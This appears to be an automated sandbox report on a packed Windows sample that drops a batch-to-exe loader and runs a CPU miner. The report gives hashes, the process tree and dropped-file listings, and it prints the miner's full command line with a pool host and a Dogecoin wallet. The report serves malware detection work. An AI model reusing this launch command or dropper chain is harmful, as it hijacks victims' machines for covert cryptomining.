73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
294s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18/02/2024, 08:22

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4804	b2e.exe
4848	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4848	cpuminer-sse2.exe
4848	cpuminer-sse2.exe
4848	cpuminer-sse2.exe
4848	cpuminer-sse2.exe
4848	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/872-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 872 wrote to memory of 4804	872	batexe.exe	76
PID 872 wrote to memory of 4804	872	batexe.exe	76
PID 872 wrote to memory of 4804	872	batexe.exe	76
PID 4804 wrote to memory of 4340	4804	b2e.exe	77
PID 4804 wrote to memory of 4340	4804	b2e.exe	77
PID 4804 wrote to memory of 4340	4804	b2e.exe	77
PID 4340 wrote to memory of 4848	4340	cmd.exe	80
PID 4340 wrote to memory of 4848	4340	cmd.exe	80

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:872
- C:\Users\Admin\AppData\Local\Temp\97BC.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\97BC.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\97BC.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4804
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\99CF.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4340
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\97BC.tmp\b2e.exe

Filesize
960KB

MD5
d15ecf39e70d4d6e278b0da9ff36ba87

SHA1
2139694bf96cc3b6fbfadb8a9c8745b8901bff6a

SHA256
04b2e6191d36dccb7b93c7d207ff16c0702cdec9b64b98206f9ffc7dc7633d54

SHA512
326cdd9b35aa3dbd39d2fd4a22dd78f732d481f05ef6dca085cd086d8ca91502f3be961b44e5c4bbf2ebf947ffc4f1b4d4703593951fce22acaa418a77741434

Download Submit
C:\Users\Admin\AppData\Local\Temp\97BC.tmp\b2e.exe

Filesize
832KB

MD5
e1bd95ac3f9c6ce43914de2a53967fee

SHA1
3e03982c075df051d5a8dd837f42873f30483faf

SHA256
45c3475b58fbaa942be0297167c5c3fbbfe7295aa3fcbb4fb61df1348f55c550

SHA512
2166424e86301bbe04fbcce5d0b91562248845c5b1a7e889fee9a95d1c872dd6ea5cc85792b54e6d085095339be2f2b7f30cfd9b40a071b51c96a5009cc96f00

Download Submit
C:\Users\Admin\AppData\Local\Temp\99CF.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.2MB

MD5
9f7d3ea6d1ed3367d38cd45df8556099

SHA1
97b57462f58e76908d3b27352ff96bbcd4fae1f4

SHA256
b76116201c481344ac19535b23ca007e689202c1fea566e76b98546fbf5333df

SHA512
51cbae3bdc1be884d50e186fe5c33f3b642d5a7bbfa1f7878cfa531845921e9794f3f546eea890b1bd0d76ed80314d078585f1e8d1b09f2c931e76f9b61e4127

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
11.6MB

MD5
6b2952eb4530918502141b8d9afb1233

SHA1
ee9ad1956af12c93c9a783b4ce33bdb6e7451894

SHA256
2a385145e761965375be710aabe0b737281ab22ae52d4ef07b4586f3b41dde0e

SHA512
84d93f05937a0395dbdd7923a2289f2f97f3c80f9d051c3c9d2475d588acfd6493ae973f02a80bfffd0b132604c3db4c35bdb2245f2b7aa2673af0f1d218dab6

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
11.0MB

MD5
056638996290207a7951011b170075fa

SHA1
acfba703bfb228a9a42719b0517fd4b00ef47ec6

SHA256
b0f7bcfda5801b9fc833a834ac52bb24c657107dfa83e77289a7c916c42dc929

SHA512
712837d6bf92e1edb9ccad8ee6f10717bdcaf200ea1add5fa018b8269d9ea0c8aa4cb8ddc16b332705eef2204a1f92ff5086229fc43ac51cd2a946f5ce1efcca

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/872-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4804-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4804-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4848-43-0x000000006E860000-0x000000006E8F8000-memory.dmp

Filesize
608KB

Download
memory/4848-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4848-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4848-44-0x0000000001150000-0x0000000002A05000-memory.dmp

Filesize
24.7MB

Download
memory/4848-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4848-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4848-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4848-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4848-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4848-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4848-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4848-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4848-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4848-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download